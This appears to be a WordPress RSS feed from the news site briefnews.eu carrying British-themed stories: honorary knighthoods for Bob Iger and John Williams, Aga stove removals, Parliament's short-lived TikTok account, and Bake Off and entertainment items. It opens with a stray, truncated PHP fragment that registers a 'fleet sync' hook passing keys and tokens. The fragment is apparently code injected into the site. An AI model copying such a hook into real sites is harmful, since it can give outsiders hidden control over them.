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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); British – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 25 Sep 2022 00:45:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png British – Brief News https://briefnews.eu 32 32 John Williams And Former Disney CEO Bob Iger Are Now Honorary Knights Of The British Empire https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/ https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/#respond Sun, 25 Sep 2022 00:45:17 +0000 https://briefnews.eu/john-williams-and-former-disney-ceo-bob-iger-are-now-honorary-knights-of-the-british-empire/

From 2005 to 2020, Bob Iger ruled over the Walt Disney Company from his throne in Burbank, CA. Just like others monarchs throughout history, he expanded his borders during his reign by acquiring the surrounding kingdoms of Pixar, Marvel, Lucasfilm, and 21st Century Fox. He also rescued Disney’s first star, Oswald the Lucky Rabbit, from a rival kingdom (NBCUniversal), revitalized the company’s theme parks around the world, and refocused their approach to streaming through services like Disney+ and Hulu. And though some of his loyal subjects may have had their fair share of valid criticisms over the course of his reign, Iger was largely a benevolent ruler due to his longtime philanthropy and the positive impact that he and his company made on their worldwide audience.

In a classic case of “game recognizes game,” the late Queen Elizabeth II decided to award Iger by bestowing upon him the title of Honorary Knight of the Order of the British Empire. Approving the award prior to her death earlier this month, the official citation declared that the former Disney Chairman and CEO is being recognized for his contributions to U.K./U.S. relations. This title of KBE is the second-highest rank in the Order that can be given to a non-U.K. citizen.

However, Iger wasn’t the only legendary name from receiving the honor this year.

Imperial March

In addition to Bob Iger, legendary composer and conductor John Williams is also receiving the title of Honorary Knight of the Order of the British Empire this year “for services to film music.” Williams is widely regarded as one of the most influential film composers of all time. Over the course of his illustrious career, he has been nominated for 52 Academy Awards, 6 Emmys, 25 Golden Globes, and 71 Grammys. But more importantly, he’s responsible for creating the unforgettable music behind “Jurassic Park,” the Indiana Jones franchise, “E.T. the Extra-Terrestrial,” the Star Wars franchise, and many, many fan favorite films.

The Round Table

Both Iger and Williams join a venerable list of influential people being honored by the British crown this year. Other recipients include Costa Rican diplomat and international climate leader Christiania Figueres, Honorary Consul for Greater Philadelphia Oliver Franklin, chef and author Ken Hom, and US Congressman George Holding, as well as a number of medical professionals, scholars, teachers, designers, and more.

In a statement from Iger (via The Wrap), he shared how special this award is to him and how it is “one of the great honors of my life to have the honorary Knight of the British Empire conferred on me by [the Queen] before she passed.” Iger continued:

“Our two nations share a strong bond, which I have seen up close over many years through my deep personal and professional connections to the United Kingdom. I have great affection for the people of the UK, and have always appreciated and been inspired by their extraordinary contributions, particularly in the creative arts.”

There’s currently no word on if Iger was inspired enough to suggest a change to the Disney Legend Award to include some kind of knightly title, but we’ll be sure to update you as the story develops. In the meantime (and in all sincerity), congratulations are an order for Bob Iger, John Williams, and the rest of those being knighted this year.

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The popular British foods that could cause blood clots – do you eat this? https://briefnews.eu/the-popular-british-foods-that-could-cause-blood-clots-do-you-eat-this/ https://briefnews.eu/the-popular-british-foods-that-could-cause-blood-clots-do-you-eat-this/#respond Sun, 18 Sep 2022 03:18:00 +0000 https://briefnews.eu/the-popular-british-foods-that-could-cause-blood-clots-do-you-eat-this/

AN EXPERT warns that some of the nation’s go-to food choices could be putting Britons at the risk of harmful blood clotting.

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British people are ripping out their beloved vintage-style stoves because they are too expensive to run amid the energy crisis https://briefnews.eu/british-people-are-ripping-out-their-beloved-vintage-style-stoves-because-they-are-too-expensive-to-run-amid-the-energy-crisis/ https://briefnews.eu/british-people-are-ripping-out-their-beloved-vintage-style-stoves-because-they-are-too-expensive-to-run-amid-the-energy-crisis/#respond Mon, 12 Sep 2022 13:21:36 +0000 https://briefnews.eu/british-people-are-ripping-out-their-beloved-vintage-style-stoves-because-they-are-too-expensive-to-run-amid-the-energy-crisis/ A woman walks past an Aga oven at the Aga Festival 2015 in London, Britain.
British people are removing their Aga stoves, which are enduringly popular in the UK.

  • British people are removing their beloved Aga stoves to combat surging energy costs.
  • One worker told Bloomberg he's removed 35 of the vintage-style appliances this year. 
  • Some owners have been left in tears because they couldn't afford to keep them, he added.

People in the UK are getting rid of their beloved, vintage-style stoves due to sky-high energy bills across Europe, Bloomberg reported.

Agas are cast-iron stoves that mainly run on gas and have become enduringly popular in the UK. They include up to five ovens and two hobs.

A brand-new appliance can cost up to £25,000, or $ 29,000, to purchase, according to the Aga website. Bloomberg reported that second-hand Agas can sell for around £5,000.

The stoves are designed to be left on all the time, although some of the newer versions are electric and can be switched on and off, per the Aga website.

Some owners have found their Aga has become too expensive to run amid the energy crisis, per the report. Aga said on its website that users can expect to pay around £40 a week to run one of its higher-end stoves.

Jack O'Dwyer, a worker tasked with removing stoves from kitchens, told Bloomberg he's thrown out 35 Agas since the beginning of 2022. Some of the owners cried during the removal process, he added.

O'Dwyer said at least 100 people have phoned him to ask about throwing out their Aga. Some of the owners can't afford the £500, or approximately $ 584, removal fee, and asked O'Dwyer not to charge them, he told Bloomberg.

One client paid £10 a day to keep an electric version of the Aga running, but got rid of it six months later, O'Dwyer told the publication, adding that forking out £70 a week for a stove was "outrageous." 

Energy prices have soared since Russia invaded Ukraine in February. The Kremlin has cut its flows of natural gas to Europe through the Nord Stream 1 pipeline in response to Western sanctions. It's forced governments and some businesses to limit how much power they consume.

Aga engineer Glenn Bing told Bloomberg he had removed the traditional stoves at a rate of one a week this year. He also said in the report that he was converting oil and gas Agas to electric at the same rate.

Bing believed the cost of living was to blame. He told Bloomberg that most removals were due to people moving into new homes where the stove was already present — but they feared it would cost too much to run.

An Aga spokesperson didn't respond to Insider's and Bloomberg's request for comment made outside of normal working hours.

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The British Parliament knew its now-deleted TikTok could be ‘controversial’ because of the app’s links to China, internal documents show https://briefnews.eu/the-british-parliament-knew-its-now-deleted-tiktok-could-be-controversial-because-of-the-apps-links-to-china-internal-documents-show/ https://briefnews.eu/the-british-parliament-knew-its-now-deleted-tiktok-could-be-controversial-because-of-the-apps-links-to-china-internal-documents-show/#respond Wed, 07 Sep 2022 09:18:45 +0000 https://briefnews.eu/the-british-parliament-knew-its-now-deleted-tiktok-could-be-controversial-because-of-the-apps-links-to-china-internal-documents-show/ The British Parliament launched a TikTok account in July 2022, but deleted it within days after lawmakers protested about the app's links to China.
The British Parliament launched a TikTok account in July 2022, but deleted it within days after lawmakers protested about the app's links to China.

  • The UK Parliament deleted its TikTok account after lawmakers protested.
  • Internal communications obtained by Insider reveal that it expected it would be controversial.
  • It suggested security chiefs confirmed the app was safe — but won't confirm whether this was done.

Britain's Parliament anticipated its use of TikTok could be "controversial" because of the app's links to China and prepared a plan to defend itself against any blowback, internal documents have revealed.

The legislative body abandoned a pilot using the video app after only a few days, following a letter from a group of lawmakers saying TikTok had been "unable to reassure MPs that the company could prevent data transfer to ByteDance, should the parent company make a request for it."

An internal document, obtained by Insider under the UK's Freedom of Information Act, reveals Parliament anticipated TikTok's links to China could result in a hostile reaction.

The document specifically suggested asking the Parliamentary Security Department, or the PSD, whether the app was safe for parliamentary staffers' phones. "Once confirmed, this should be part of any media line," the document said.

But when Insider asked whether the PSD had concluded it was safe, Parliament declined to answer, saying: "We cannot go into any further detail about security measures taken."

The document Insider obtained — an "OASIS Communications and Evaluation Plan" — proposes other potential lines spokespeople can give to journalists.

These include: "That we use social media to reach audiences where they are; that a notably different demographic uses TikTok compared to our followers on other platforms; we are using TikTok as part of a limited pilot project, with a discrete project plan and evaluation."

The document notes that TikTok's parent company, ByteDance, has links to China and adds that "Chinese tech companies have been the subject of recent controversy," specifically citing Huawei, the telecommunications company whose hardware the UK banned from its 5G network over security fears.

ByteDance has its headquarters in Beijing, but is domiciled in the Cayman Islands.

It has repeatedly denied it would hand user data to Chinese authorities.

A TikTok spokesperson told Insider: "The TikTok platform does not operate in China and we have never provided user data to the Chinese government. 

"UK politicians and government departments use TikTok to reach millions of people in an engaging and creative way."

They added that TikTok would "welcome the opportunity to talk directly" to the politicians who signed the letter "to clarify the factual inaccuracies."

The documents Insider obtained show Parliament first considered launching a TikTok account in April 2021, more than a year before it established the account.

In August 2021, Parliament staff met TikTok staff and subsequently asked if the @UKParliament handle, which had been obtained by another user but had not been used, could be given to them, which it was.

A 13-page PowerPoint document was presented to staff on February 21, 2022, showing examples of other institutions that use TikTok for public outreach.

Internal discussions within Parliament continued until March 2022, when the project picked up the pace. One staff member emailed asking "to make sure it is a development that you would be happy with from a security perspective."

The emails appear to show security advice was offered, but redacted before being released to Insider. On March 30, one staff member wrote: "TikTok is GO!!! (nearly)."

Parliament launched the account on July 28.

In their letter, the lawmakers wrote they were "surprised and disappointed" and that the account should be closed "until credible assurances can be given that no data whatsoever can be transferred to China."

It sparked a flurry of emails within Parliament and by August 1, parliamentary authorities had decided to close the account.

On August 3, the speakers of both houses of Parliament wrote a joint letter to one of the lawmakers who protested, saying this was "in light of your feedback and concerns expressed."

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Noel Fielding walks off Great British Bake Off after Matt Lucas clash ‘You should leave’ https://briefnews.eu/noel-fielding-walks-off-great-british-bake-off-after-matt-lucas-clash-you-should-leave/ https://briefnews.eu/noel-fielding-walks-off-great-british-bake-off-after-matt-lucas-clash-you-should-leave/#respond Tue, 24 Nov 2020 21:17:19 +0000 https://briefnews.eu/noel-fielding-walks-off-great-british-bake-off-after-matt-lucas-clash-you-should-leave/

Noel Fielding was asked to leave the Great British Bake Off Tent after one of his jokes failed to garner a reaction from the contestants. Matt Lucas demanded his Channel 4 co-host leave the tent when silence descended on the tent following Noel’s attempt to make his co-stars laugh at the signature bake challenge. 

Matt began: “You made it you’re in the final and it’s your last ever Signature challenge. 

“The judges would like you to bake eight beautiful decorated custard slices.”

“Noel, are you a fan of custard?” Matt asked. 

“I love custard. I was very upset when I heard general custard had died at the battle of little creme horn,” Noel joked. 

Read more: Paul Hollywood net worth 2020: Bake Off star has whopping salary

After Prue Leith and Paul Hollywood had tasted all three Signatures, Peter appeared to be in first position, followed by Dave, then Laura. 

The Technical was a Walnut Whirl and once again Laura struggled to execute the tricky bake. 

Dave was crowned the winner of the Technical, while the youngest ever finalist came second followed by Laura.

Ahead of the Showstopper, Matt asked whether Laura could still win the series.

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Great British Bake Off: Channel 4 star’s heartbreaking confession on father exposed https://briefnews.eu/great-british-bake-off-channel-4-stars-heartbreaking-confession-on-father-exposed/ https://briefnews.eu/great-british-bake-off-channel-4-stars-heartbreaking-confession-on-father-exposed/#respond Wed, 30 Sep 2020 22:02:37 +0000 https://briefnews.eu/great-british-bake-off-channel-4-stars-heartbreaking-confession-on-father-exposed/

The popular Channel 4 baking show is into its second week and already contestants have caused a stir. In the first week of ‘Bake Off’, Sura accidentally knocked fellow competitor Dave’s pineapple upside-down cakes onto the floor. Yesterday viewers vented after Mak was eliminated instead of Rowan, whose show stopper was described as “tasting like rubber”. In addition to the TV show dramas, new presenter Matt Lucas was cast in place of Sandi Toksvig, who quit the show earlier this year. The host has divided public opinion so far. Some took offence to his impersonation of Prime Minister Boris Johnson‘s “bumbling coronavirus briefing”, which received hundreds of Ofcom complaints. 

Prior to landing the presenting job on ‘Bake Off’ alongside Noel Fielding, Lucas was best known for his comedic sketches with former ‘Britain’s Got Talent’ judge David Walliams.

They starred in the BBC hits ‘Little Britain’ and ‘Come Fly With Me’, both of which have attracted criticism in recent months over their portrayal of black characters.

Lucas said: “If I could go back and do ‘Little Britain’ again, I wouldn’t make those jokes about transvestites. I wouldn’t play black characters. Basically I wouldn’t make the show now.”

He admitted there was “no bad intent” behind their gags and their only crime was “greed” – because they wanted “to show off what a diverse bunch of people we could play”.

The star believed his humour was nurtured from an early age, shortly after he developed alopecia at the age of six. 

He told Big Issue magazine in 2017: “People asked me about it every day… I told people I’d had a car accident when I was four and the shock had made it fall out because that’s what I believed at the time. 

“Then I developed a repertoire of jokes in response to being asked about it, feigning surprise at the information that I was bald. 

“I had this wig I’d worn as a kid and I’d bring it into college for a laugh.”

The stigma attached to being hairless during his school years was also coupled with his fear about coming out as gay.

Lucas claimed his teenage self would be “very, very shocked” that he was “able to live a fulfilling and loving life a gay man”.

He was married TV producer Kevin McGee in a civil partnership in 2006 but had it dissolved two years later – and the following year his former partner died from suicide.

He added: “That was not something I thought was ever on the cards. 

“The idea that my family and friends would accept me and then almost forget about my being gay, that would have been a huge relief.”

Despite his openness about his sexuality, the one person who he was never able to tell was his father.

Lucas said: “I found out, four years after he died, that my dad had told my aunt he’d worked out I was gay and said ‘He loved me and just wanted me to be happy’. 

“I was happy to hear it but I wish he’d said it to me at the time. It would have saved me a lot of anxiety. 

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“But he was waiting for me to tell him and he probably thought we had plenty of time ahead of us.”

By the time his aunt told him about his father’s secret support of his sexuality, he had “come out to most people”. 

Lucas said: “So I was beyond craving acceptance and I was moving on to the next phase of my life. 

“It felt like that was the postscript to those years of worry, a final resolution.”

After Lucas was confirmed as the new host of ‘Bake Off’, he revealed that similarly to Noel Fielding he had an audition at a garden centre. 

There he had to “interview people” to test how he got on with strangers of all ages.

In a bid to keep his audition secret, he had to tell inquisitive passersby that he was working on a “horticultural show”. 

In April, Lucas told ‘Good Morning Britain’ that he was attracted to the role because of the ‘perks’ of the job.

He quipped: “Free cake are you kidding it’s a no brainer! They were talking to various people and apparently Noel had a dream that I was the co-presenter.”

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‘The Great British Bake Off’ airs on Tuesdays at 8PM on Channel 4.

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Joe Lycett’s appearance leaves Great British Sewing Bee viewers distracted: ‘Not sure’ https://briefnews.eu/joe-lycetts-appearance-leaves-great-british-sewing-bee-viewers-distracted-not-sure/ https://briefnews.eu/joe-lycetts-appearance-leaves-great-british-sewing-bee-viewers-distracted-not-sure/#respond Wed, 29 Apr 2020 23:18:32 +0000 https://briefnews.eu/joe-lycetts-appearance-leaves-great-british-sewing-bee-viewers-distracted-not-sure/

It comes after Joe revealed unfortunately his sewing skills haven’t improved since hosting the series.

“Yes, they’re so good… Actually, no, my sewing skills are terrible!” he remarked.

“I had a few masterclasses this series but I learned nothing. I enjoy watching from afar and not getting involved – it’s so complicated, isn’t it?”

Great British Sewing Bee airs Wednesday on BBC One at 9pm.

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Great British Bake Off: Derry Girls crate chaos in the tent https://briefnews.eu/great-british-bake-off-derry-girls-crate-chaos-in-the-tent/ https://briefnews.eu/great-british-bake-off-derry-girls-crate-chaos-in-the-tent/#respond Thu, 02 Jan 2020 00:28:49 +0000 http://briefnews.eu/great-british-bake-off-derry-girls-crate-chaos-in-the-tent/

Saoirse-Monica Jackson, Nicola Coughlan, Jamie-Lee O’Donnell, Dylan Llewellyn and Siobhan McSweeney all appear in the Channel 4 comedy – based in Northern Ireland during the Troubles. They attempted to impress judges Prue Leith and Paul Hollywood with an alcohol-laced trifle for their signature challenge. But a few of them tucked into the booze early as they whipped up sponges, jelly and custard. 

Prue told Dylan, 27, the layers of his Bakewell trifle are “a bit casual”, while she branded Saoirse-Monica’s effort “a bit messy and smeary”. 

Paul told Siobhan her trifle “looks like an aquarium,” while Prue added: “It does look like slime.” 

For the showstopper, the contestants had to make a two-tiered cake based on their favourite decade. 

Dylan crafted a 60s camper van using lemon cake, while Jamie-Lee, 28, fashioned the plane Amelia Earhart landed in Londonderry in the 1930s out of coconut cream cake. 

Nicola, 32, prepared a bowler inspired by 1930s film Berlin, while Saoirse-Monica, 26, made a 1960s peace and love lemon and blueberry cake. 

Siobhan, whose chocolate raspberry cake was in memory of family camping trips to Cork in the 1980s, later joked: “I’ve basically ruined the memory of my mother and father.” 

After the final challenge Nicola said: “I am a broken woman,” while Saoirse-Monica added: “I don’t think it could have gone any worse.” 

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Great British Bake Off: Contestant’s winning ‘advantage’ revealed in Paul Hollywood link? https://briefnews.eu/great-british-bake-off-contestants-winning-advantage-revealed-in-paul-hollywood-link/ https://briefnews.eu/great-british-bake-off-contestants-winning-advantage-revealed-in-paul-hollywood-link/#respond Tue, 20 Aug 2019 08:07:07 +0000 http://briefnews.eu/great-british-bake-off-contestants-winning-advantage-revealed-in-paul-hollywood-link/

Great British Bake Off is back with a brand new series, ready to take over the nation with exceptional showstoppers and hopefully no more iconic Baked Alaska disasters. 

Ahead of the show kicking off later this month, the full contestant line-up has been revealed and this year, there are 13 amateur bakers taking part. 

Channel 4 has lined up a diverse array of hopefuls for the tent, including Dan who made his own wedding cake and Steph who cleverly hides vegetables in her bakes. 

But one contestant has revealed they have a secret link to the tent and in particular Paul Hollywood. Doesthis mean they have a slight advantage because they know extensively how the show works? 

Henry, 20, who studies at Durham University started baking after the Bake Off tent pitched up in his home town’s local park eight years ago. 

Since that day, he has been practicing and perfecting his baking skills to allow him to enter the competition. 

Discussing the opportunity to take part in the fan-favourite competition, he said: “I have wanted to get into the tent since series two. 

“They used to film the show at the end of my road, and I’d see Paul Hollywood when I walked to school in the mornings, so to be inside the actual tent was totally wonderful!” 

During the application process, the contestants were tasked with making a cake which signifies one of the happiest days of your life. 

Henry spoke about his choice: “One of the most lovely days I had was at Uni this year, we had an end of year party where everyone was totally relaxed. 

Read More: Great British Bake Off 2019: Meet the contestants here!

“It would be quite a busy, chaotic cake flavoured with alcohol to represent the party. Maybe with a kahlua coffee drizzle and vodka buttercream icing,” he explained.

As for the public’s response to the new line-up, many fans took to Twitter to share their opinions. 

A few noted how young the contestants were, with some questioning the representation of the older generation. 

“Where’s the older man/woman?” Someone asked while another chimed: “They are all so young! That’s good, don’t get me wrong, but it’s nice to see older bakers with their tried and trusted recipes and methods in the tent x.” 

Others suggested a few tweaks to the challenges which have previously been given, especially during last year’s final when contestants were tasked with making pitta breads on an open fire outside. 

“Those fire pits were ludicrous. Hopefully this year they’ll keep the focus on, y’know, actual baking…” A tweet read. 

“And the chandelier!” Another added in reference to biscuit week during series nine. 

Joining Paul in the judging process is Prue Leith and this will be her third time in the role. 

Sandi Toksvig and Noel Fielding are also back as they present one of the nation’s favourite television shows. 

As for the future of the Great British Bake Off, fans can rejoice because there are going to be at least two more series. 

Channel 4 secured Love Productions’ show until 2021, meaning there are at least two more opportunities to see soggy bottoms and baking disasters. 

Broadcasting boss Ian Katz said in a statement: “Over the last two years The Great British Bake Off has become one of the best loved programmes on Channel 4, embodying the warmth, mischief and inclusivity for which the channel is known.”

Great British Bake Off returns to Channel 4 on Tuesday 27 August at 8pm. 

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Barbra Streisand tickets: UK FESTIVAL date at British Summer Time Hyde Park – How to book https://briefnews.eu/barbra-streisand-tickets-uk-festival-date-at-british-summer-time-hyde-park-how-to-book/ https://briefnews.eu/barbra-streisand-tickets-uk-festival-date-at-british-summer-time-hyde-park-how-to-book/#respond Thu, 07 Mar 2019 13:17:18 +0000 http://briefnews.eu/barbra-streisand-tickets-uk-festival-date-at-british-summer-time-hyde-park-how-to-book/

Yes, you heard that right. Barbra actual Streisand will perform at British Summer Time in July, presented by Barclaycard. She was a star long before most stars were born and remains one of the greatest icons in popular entertainment. The music legend will close BST and tickets go on sale next week. This is an incredibly rare live appearance, let alone festival date for one of the biggest selling stars of all time. People who need people, fans and everyone else can sign up for presale tickets which start tomorrow.

Barbra Streisand will bring the first incredible weekend to a close on July 7. 

The line-up this year is undeniably spectacular, kicking off with Celine Dion on July 5 and including Florence and the Machine July 13 and the Robbie Williams bringing it all home for the grand finale on July.

Unlike residential festivals where most fans spend the entire weekend, British Summer Time tickets are sold for each individual day.

Scroll down for how to buy tickets.

When do Barbra Streisand BST tickets go on sale?

All British Summer Time general tickets go on sale next Thursday, March 14 at 9am.

British Summer Time Barclaycard Presale: Friday, March 8 at 9am. 

British Summer Time Hyde Park Presale: Monday, March 11: CLICK HERE TO REGISTER

Streisand’s accomplishments are truly staggering. Two Oscars, ten Grammys, five Emmys, nine Golden Globes and a Tony Award sit alongside her accomplishment as the only artist to have a Number 1 album in six decades out of 52 albums and 15 soundtracks (so far).

Daniel Mathieson, Head of Experiential Marketing and Partnerships for Barclaycard, got into the spirit of it all when he confirmed the event’s huge pride to have Streisand appearing this year.

He told Express Online: “We are really looking forward to the super talented Barbra Streisand headlining this year. With a career spanning six decades, she has achieved major success in multiple fields of entertainment and we are honoured to have her perform on The Great Oak Stage this Summer. I cannot wait to hear some of her classics at an ‘ever-green’ Hyde Park as we all reminisce back to a time – when a true star was born!”

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